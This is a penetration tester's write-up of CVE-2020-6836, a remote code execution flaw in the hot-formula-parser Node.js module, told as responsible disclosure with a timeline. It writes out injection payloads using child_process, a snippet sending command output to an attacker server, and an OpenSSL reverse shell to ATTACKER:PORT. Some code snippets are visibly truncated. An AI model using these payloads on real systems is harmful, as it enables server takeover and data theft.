Reverse shell through a node.js math parser


Recently, I performed a penetration test of a typical single-page application, exposing a static React web app and a REST API written in Node.js. This article details how I discovered and exploited a critical vulnerability (now known as CVE-2020-6836) that allowed unauthenticated arbitrary remote code execution.

The API had an endpoint that was kind of interesting. It had a parameter that seemed to be interpreted as a mathematical expression (similar to how Excel interprets such expressions). As it turns out, it made use of a module named hot-formula-parser[1] which has about 38 000 weekly downloads and 39 dependents. The module is more or less an advanced calculator. This kind of functionality is always interesting for a penetration tester because they tend to be more powerful than the developer realize.

The application passed user controlled input to the parse function of the module. The below code does just that and will be used for throughout the article.

var express = require("express")
var app = express();
var FormulaParser = require("hot-formula-parser").Parser;'/formula', function(req, res) {
	var parser = new FormulaParser();
	var output = parser.parse(req.body.calc); // <----

app.listen(3000, function() {
	console.log("Listening on port 3000");

Legitimate usage of the app would look like this:

curl -H "Content-Type: application/json" -X POST -d '{"calc":"(SUM([1,2])-1)*2"}' http://TARGET:PORT/formula

Giving the result ‘4’:


Nothing special, but under the hood something interesting has happened. Looking at the commit history of the module, we can see that version 3.0.0 used the dangerous function eval to parse arrays.

Git diff

Eval is a function that dynamically evaluates code, not only arrays. Basically any javascript we submit should be executed. To test it out we could perform a time consuming request, following the concept of ‘time based exploitation’, we’ll know that it works if (and only if) the website takes longer to load than normal.

We’ll make the application sleep by invoking the function execSync with the argument sleep 10. The execSync function is executed in the main thread and thus blocks the execution until the command has completed. Finally, we write it all inside a self-invoking function (note the parenthesis at the end).

curl -H "Content-Type: application/json" -X POST -d '{"calc":"SUM([(function(){require(\"child_process\").execSync(\"sleep 10\")})(),1])"}' http://TARGET:PORT/formula

We execute and…… tada! The page took a bit over 10 seconds to load!

At this point it is very likely that the application is vulnerable. To be sure we can try a number of different delays, and we notice that the delay is actually working as we instruct it to. By the way, in the actual penetration test, this is where you stop and rapidly ask the customer to take down the application from production.

However, for the sake of this article, let’s see what the impact of this vulnerability really was. To start with — we are still blind. We want to execute a command and get back the output of the command. How could we get back the stdout though? There are a few ways to do this. We will make a HTTP request containing the stdout back to an attacker controlled web server. In code it would look like the below:

(function() {
	require("child_process").exec(COMMAND, function(code,stdout) {

We put the code into the vulnerable parameter and send the request using Burp:

PoC exploit
PoC output

We executed the command whoami and got back the value root. This is the name of the account running the vulnerable application.

Popping a shell

At this point we have what is known as a non-interactive shell, but that’s very tedious to work with. We probably want to get interactive by spawning a shell. There are many techniques to do this since we are able to execute arbitrary server-side javascript. Anyways, I wanna show a neat technique from GTFOBins[2] that serves well for a PoC like this. Don’t interpret this as the one way and think you are immune just because you for example drop outgoing connections like the one below.

We will get a TLS encrypted reverse shell by abusing a program that likely already exist on the victim machine, namely OpenSSL. The code will look as follows:

(function() {
	var c = require('child_process');
	c.exec("mkfifo .s");
	c.exec("/bin/sh -i < .s 2>&1 | openssl s_client -quiet -connect ATTACKER:PORT > .s");
	c.exec("rm .s");

In a nutshell, what we are doing is:

  1. Create a named pipe “.s” (FIFO special file), which is very similar to a pipe. Two processes can open it on each end, and send data back and forth.
  2. Spawn an interactive Bourne shell, and:
    1. Redirect the named pipe to the shell’s stdin.
    2. Pipe the shell’s stdout/err to OpenSSL’s stdin.
  3. Connect to the server using OpenSSL’s built-in test client, and:
    1. Send OpenSSL stdin (i.e. shell’s stdout/err) to the remote host.
    2. Redirect data received from the remote host to the named pipe (i.e. shell stdin).
  4. Finally, remove the special file from disk.

You could also use the -proxy flag if you need it to be proxy aware. On the attacker side we generate a certificate and start a listener:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -accept *:PORT

After some final touches we send it:

And then, voila!

Disclosure timeline

2019-12-14: Reported to NPM
2019-12-18: Vulnerability confirmed by NPM security team
2020-01-09: Advisory published by NPM [3]
2020-01-11: CVE-2020-6836 assigned by MITRE [4]

The vulnerability exploited in this article is fixed in hot-formula-parser version 3.0.1.



Want to learn more?

Alexander is speaking at the two-day event Cyber Security Summit 2020. A great time to ask him more questions about this or other findings!

If you need an even deeper understanding and training join our class – “Cybersecurity attacks and defenses – Red vs. blue team!” on Geek Week with Alexander as one of the instructors!